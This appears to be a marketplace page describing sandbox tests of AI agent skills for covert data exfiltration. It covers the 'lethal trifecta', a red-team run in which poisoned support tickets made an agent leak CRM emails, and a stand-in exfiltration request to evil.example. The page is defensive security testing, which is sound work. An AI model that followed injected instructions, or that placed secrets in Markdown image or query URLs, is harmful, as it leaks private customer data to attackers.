Test agent skills for covert data exfiltration via Markdown images, DNS, or webhooks
Even without write tools, a compromised skill or untrusted webpage can exfiltrate workspace secrets via rendered Markdown URLs or query strings.
Copy the prompt and paste it into the AI assistant you already use.
Exfiltration benchmarks simulate known attack classes in sandboxes; enforce network-layer egress controls for confidential production data.
How to break the 'lethal trifecta' of agent data exfiltration
- 01
Never pair private data, untrusted input, and open egress
An agent reading untrusted GitHub issues while holding private DB access and outbound curl/Slack tools can be hijacked to leak rows.
- 02
Audit outbound domains contacted during sandbox runs
Check network telemetry verifying a skill contacts only declared API hosts and zero third-party telemetry or webhook bins.
- 03
Block dynamic external Markdown image rendering
Ensure UI clients block or CSP-restrict  links generated after reading internal docs.
- 04
Inspect URL query-builder tools for secret interpolation
Verify search and fetch skills don't paste verbatim private snippets or credentials into external search engine query strings.
How it works in practice
Red-team sandbox evaluation
Feed 20 poisoned customer tickets (indirect prompt injection) to support-triage-skill connected to crm-read-mcp + web-fetch-mcp.
Egress interception report
Unscoped web-fetch setup: 4/20 runs exfiltrated CRM customer email via GET https://evil.example/log?q=... Domain-allowlisted setup (docs.acme.com only): 0/20 leaks, all 4 attempts blocked at tool boundary.
Prompt wording alone cannot stop indirect injection exfiltration; hard domain allowlists and tool separation stop leaks deterministically.
Questions and answers
What is the 'lethal trifecta' in AI agent security?
Coined in agent security research, it occurs when one session simultaneously has (1) private data access, (2) exposure to untrusted content, and (3) external communication channels.
How does SkillMarket monitor network egress during skill tests?
Every sandboxed benchmark runs behind a TLS/DNS-inspecting proxy logging every domain contacted and flagging undeclared outbound traffic.
Can read-only web search tools still exfiltrate data?
Yes—if an injected instruction convinces the agent to search for a string containing a secret API key, that query hits external search logs.
Related tasks in this category
See all in Skill Security, Injection & Permission Audits-
Scan third-party SKILL.md packages and reference files for covert prompt injection
Community skill bundles can hide Unicode tag characters, poisoned reference docs, or stealth instructions inside helper scripts.
-
Audit MCP server OAuth scopes, API token handling, and credential storage hygiene
Many community MCP connectors ask for full repo admin or Gmail read/write/delete scopes when your workflow only needs read access.
-
Verify destructive command blocking and sandboxing in Bash-enabled agent skills
Check whether CLI-driven skills block force-pushes, recursive deletes, prod profile mutations, and subshell bypasses cleanly.
-
Check commit pinning, lockfile hashes, and maintainer provenance in community skill packs
Installing skills from floating GitHub branches or unpinned uvx/npx commands exposes developer laptops to upstream repo takeovers.
-
Benchmark PII and secret redaction skills that scrub sensitive payloads before LLM or API calls
Compare local presidio, regex+NER, and reversible tokenization skills on catching API keys, SSNs, and patient IDs without mangling code.
-
Verify stateful agent skills and memory MCPs never leak context across customer workspaces
Local memory files, shared tmp directories, and unscoped vector collections can bleed Customer A's context into Customer B's session.